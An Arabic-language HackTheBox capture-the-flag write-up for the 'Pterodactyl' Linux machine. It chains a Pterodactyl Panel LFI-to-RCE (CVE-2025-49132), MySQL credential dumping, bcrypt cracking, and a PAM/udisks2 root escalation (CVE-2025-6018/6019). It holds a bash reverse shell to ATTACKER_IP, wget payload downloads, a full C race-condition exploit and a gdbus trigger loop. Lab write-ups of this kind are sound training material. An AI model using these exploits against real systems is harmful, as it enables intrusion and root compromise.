
HTB Season 10 - شرح جهاز Pterodactyl. جهاز Linux متوسط المستوى يغطي CVE-2025-49132 (Pterodactyl Panel RCE) و CVE-2025-6018/6019 (رفع الصلاحيات في udisks2).
الصعوبة: متوسطة | نظام التشغيل: Linux (openSUSE Leap 15.6) | الموسم: 10
Pterodactyl هو جهاز Linux متوسط الصعوبة يعمل بلوحة تحكم ألعاب Pterodactyl. تتضمن سلسلة الهجوم ثغرة LFI-to-RCE غير مصادق عليها في اللوحة، استخراج بيانات الاعتماد عبر MySQL، كسر تجزئة bcrypt للوصول إلى SSH، وسلسلة رفع صلاحيات مكونة من ثغرتين تَستغل حقن جلسة PAM وحالة سباق تغيير حجم XFS في udisks2.
الأعلام:
************************nmap -sSCV -A --min-rate 4000 10.129.44.184
المنافذ المفتوحة:
| المنفذ | الخدمة | الإصدار |
|---|---|---|
| 22 | SSH | OpenSSH 9.6p1 |
| 80 | HTTP | nginx/1.21.5 → pterodactyl.htb |
echo "10.129.44.184 pterodactyl.htb panel.pterodactyl.htb play.pterodactyl.htb" | sudo tee -a /etc/hosts
dirsearch -u http://pterodactyl.htb/ -t 40
curl -s http://pterodactyl.htb/changelog.txt
النتائج الرئيسية من changelog:
panel.pterodactyl.htbcurl -s "http://pterodactyl.htb/phpinfo.php" | grep -E "register_argc|include_path|open_basedir|upload_tmp_dir"
| الإعداد |
|---|
CVE-2025-49132 يؤثر على Pterodactyl Panel حتى الإصدار v1.11.10. يُمرِّر نقطة النهاية /locales/locale.json معاملَي locale و namespace مباشرةً إلى دالة include() في PHP دون تنقية أو مصادقة، مما يسمح بتجاوز المسار واستغلال pearcmd لـ RCE.
git clone https://github.com/YoyoChaud/CVE-2025-49132
cd CVE-2025-49132
# تفريغ الإعدادات (بيانات DB + APP_KEY)
python3 exploit.py http://panel.pterodactyl.htb
# اختبار RCE
python3 exploit.py http://panel.pterodactyl.htb \
--rce-cmd "id" \
--pear-dir /usr/share/php/PEAR
المخرجات: uid=474(wwwrun) gid=477(www) groups=477(www)
| الخدمة | اسم المستخدم | كلمة المرور |
|---|---|---|
| MySQL | pterodactyl | PteraPanel |
| Laravel | APP_KEY | base64:UaThTPQnUjrrK61o+... |
# المستمع
nc -lnvp 4444
# الاستغلال
python3 exploit.py http://panel.pterodactyl.htb \
--rce-cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
--pear-dir /usr/share/php/PEAR
mysql -u pterodactyl -pPteraPanel -h 127.0.0.1 \
-e "USE panel; SELECT username,email,password FROM users;"
| اسم المستخدم | التجزئة |
|---|---|
headmonitor | $2y$10$3WJht3/5GOQmOXdljPbAJet... |
phileasfogg3 | $2y$10$PwO0TBZA8hLB6nuSsxRqoO... |
cat /home/phileasfogg3/user.txt
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt -w 3
النتيجة: phileasfogg3 : !QAZ2wsx
ssh [email protected]
# كلمة المرور: !QAZ2wsx
sudo -l
(ALL) ALL مُهيَّأ لكن خيار targetpw يتطلب كلمة مرور الجذر — مما يمنع استغلال sudo العادي.
CVE-2025-6018 يستغل pam_env.so على openSUSE لحقن مُتغيِّرات البيئة عند تسجيل الدخول. بوضع XDG_SEAT=seat0 و XDG_VTNR=1 في ~/.pam_environment، يمكن لمستخدم SSH عن بُعد خداع Polkit لمعاملة جلسته كجلسة تحكم محلية نشطة (allow_active)، مما يفتح إجراءات D-Bus لإدارة الأجهزة.
echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment
# الخروج وإعادة الدخول عبر SSH (PAM يعيد القراءة عند دخول جديد)
exit
ssh [email protected]
# التحقق
echo $XDG_SEAT # seat0
echo $XDG_VTNR # 1
CVE-2025-6019 يستغل فقدان علامة nosuid في libblockdev عندما يُركِّب udisks2 مؤقتًا صورة XFS أثناء استدعاء D-Bus Filesystem.Resize. بالسباق لتنفيذ ملف ثنائي SUID داخل الصورة خلال هذه النافذة، يمكن لمستخدم غير مميز حق "allow_active" من Polkit الحصول على شيل جذر.
# إنشاء صورة XFS باستخدام mkfs.xfs الخاص بالهدف للتوافق
scp phileasfogg3@TARGET:/sbin/mkfs.xfs /tmp/target_mkfs_xfs
# البناء مباشرة على الهدف بدلاً من ذلك
ssh phileasfogg3@TARGET
dd if=/dev/zero of=/tmp/xfs_new.img bs=1M count=300
/sbin/mkfs.xfs -f /tmp/xfs_new.img
نقل إلى المهاجم، حقن ملف ثنائي SUID، النقل مرة أخرى:
# على المهاجم (كجذر)
scp phileasfogg3@TARGET:/tmp/xfs_new.img /tmp/xfs_new.img
mount -o loop,suid /tmp/xfs_new.img /tmp/mnt
cp rootbash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl # يجب أن يظهر -rwsr-xr-x
umount /tmp/mnt
gzip -c /tmp/xfs_new.img > xfs_new.img.gz
// racer.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <unistd.h>
#include <sys/stat.h>
int main() {
char path[512], cmd[512];
struct stat st;
while(1) {
DIR *d = opendir("/tmp");
struct dirent *e;
while((e = readdir(d))) {
if(strncmp(e->d_name, "blockdev.", 9) == 0) {
snprintf(path, sizeof(path), "/tmp/%s/xpl", e->d_name);
if(stat(path, &st) == 0 && (st.st_mode & S_ISUID)) {
closedir(d);
snprintf(cmd, sizeof(cmd),
"%s -p -c 'cp /bin/bash /tmp/b; chmod 4755 /tmp/b'", path);
system(cmd);
return 0;
}
}
}
closedir(d);
}
}
gcc -O2 -o racer racer.c
# على الهدف
wget http://ATTACKER_IP/xfs_new.img.gz && gunzip xfs_new.img.gz
wget http://ATTACKER_IP/racer && chmod +x racer
udisksctl loop-setup -f /tmp/xfs_new.img --no-user-interaction
# لاحظ رقم الجهاز الحلقي (مثال loop7)
rm -rf /tmp/blockdev.* 2>/dev/null
/tmp/racer &
for i in $(seq 1 300); do
gdbus call --system \
--dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/loop7 \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' 2>/dev/null &
done
wait
النتيجة: الحصول على شيل جذر.
id
# uid=0(root)
cat /root/root.txt
[Nmap] المنافذ 22, 80
↓
[تعداد الويب] changelog.txt → Pterodactyl Panel v1.11.10
↓
[phpinfo.php] register_argc_argv=On, PEAR في include_path
↓
[CVE-2025-49132] LFI غير مصادق → pearcmd RCE → شيل wwwrun
↓
[MySQL] pterodactyl:PteraPanel → تجزئات bcrypt
↓
[Hashcat] phileasfogg3:!QAZ2wsx
↓
[SSH] phileasfogg3
↓
[CVE-2025-6018] ~/.pam_environment → تجاوز allow_active
↓
[CVE-2025-6019] سباق تغيير حجم XFS في udisks2 → تنفيذ SUID → الجذر
| الخدمة | اسم المستخدم | كلمة المرور |
|---|---|---|
| MySQL | pterodactyl | PteraPanel |
| SSH / اللوحة | phileasfogg3 | !QAZ2wsx |
تقرير بقلم [kareem elsheikh] | الموسم 10 لـ HackTheBox
| القيمة |
|---|
| الأهمية |
|---|
register_argc_argv | On | يُفعِّل استغلال pearcmd CLI |
include_path | .:/usr/share/php8:/usr/share/php/PEAR | يمكن الوصول إلى pearcmd.php |
open_basedir | (بدون قيمة) | وصول غير مقيد لنظام الملفات |
| الأداة | الغرض |
|---|
| nmap | مسح المنافذ |
| dirsearch | البحث القسري في أدلة الويب |
| استغلال CVE-2025-49132 | LFI غير مصادق + RCE عبر pearcmd |
| hashcat (-m 3200) | كسر bcrypt |
| إثبات المفهوم CVE-2025-6018-6019 | تجاوز PAM + سباق udisks2 |
| متسابق C مخصص | الفوز بحالة سباق nosuid |